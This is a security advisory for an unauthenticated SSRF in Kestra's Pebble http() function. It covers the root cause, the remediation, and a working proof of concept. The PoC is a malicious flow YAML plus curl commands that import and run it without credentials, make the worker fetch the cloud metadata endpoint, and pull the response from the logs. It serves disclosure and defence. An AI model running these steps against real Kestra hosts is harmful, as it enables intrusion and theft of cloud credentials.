CVE-2026-73247: Kestra Unauthenticated SSRF via Pebble http() Function
Kestra's built-in Pebble http() function passes attacker-controlled URLs directly to the server's HTTP client with no filtering, letting anyone with network access reach internal services or cloud…
The problem
The http() function in HttpFunction.java (lines 77-106) takes a user-supplied uri argument and hands it straight to URI.create() and the server-side HTTP client. No checks exist for private CIDRs (10.0.0.0/8, 192.168.0.0/16), loopback (127.0.0.1), link-local (169.254.169.254), or non-HTTP schemes like file:// or gopher://.
Because TenantValidationFilter.java only validates that the tenant equals main and performs no authentication check, an attacker can import and execute a malicious flow over the public API with zero credentials. The execution response leaks the HTTP reply body, turning the Kestra worker into an open proxy against any internal target.
Proof of concept
A working proof-of-concept for CVE-2026-73247 in io.kestra:core, with the exact payload below.
# Step 1: write the malicious flow
cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
- id: exfiltrate
type: io.kestra.plugin.core.log.Log
message: |
{{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML
# Step 2: import without authentication
curl -X POST http://<kestra-host>:8080/api/v1/main/flows/import \
-F "fileUpload=@/tmp/ssrf_poc.yaml"
# Step 3: trigger execution (no credentials required)
curl -X POST http://<kestra-host>:8080/api/v1/main/executions/company.team/ssrf_metadata
# Step 4: retrieve output (execution logs contain the metadata response)
curl http://<kestra-host>:8080/api/v1/main/logs/search?namespace=company.team&flowId=ssrf_metadataThe root cause is a complete absence of an allowlist or blocklist in HttpFunction.java. The line URI uri = URI.create(args.get("uri").toString()); trusts the caller fully, so any URI scheme or destination reaches the underlying HTTP client unchanged.
The patch in 2.0.0 added SSRF filtering for all HTTP tasks, blocking requests to private, loopback, and link-local destinations before the connection is made. This maps directly to CWE-918: the server retrieves attacker-chosen URLs without verifying the destination is safe.
The no-authentication import path compounds the issue. An attacker needs only network access to the Kestra port to weaponize the function, making this trivially automatable (CVSS AV:N/AC:L/PR:N/UI:N/S:C).
The fix
Upgrade to Kestra 2.0.0 or later. The 2.0.0 release added explicit SSRF filtering in HttpFunction.java that blocks requests to private, loopback, and link-local destinations. If an immediate upgrade is not possible, restrict network access to the Kestra API port and block outbound connections from the worker containers to RFC-1918 and link-local ranges at the network layer.
Reported by loicmathieu.
Related research
- highCVE-2026-55864CVE-2026-55864: GeoNetwork Unauthenticated SSRF in SLD Tool
- high · 8.2CVE-2026-43910CVE-2026-43910: appium/java-client SSRF via Unvalidated directConnect Redirect
- critical · 9.4OpenDJ DSMLv2 Gateway Unauthenticated SSRF and Local File Read
- high · 7.1CVE-2026-54077CVE-2026-54077: ArcadeDB IMPORT DATABASE SSRF and Local File Read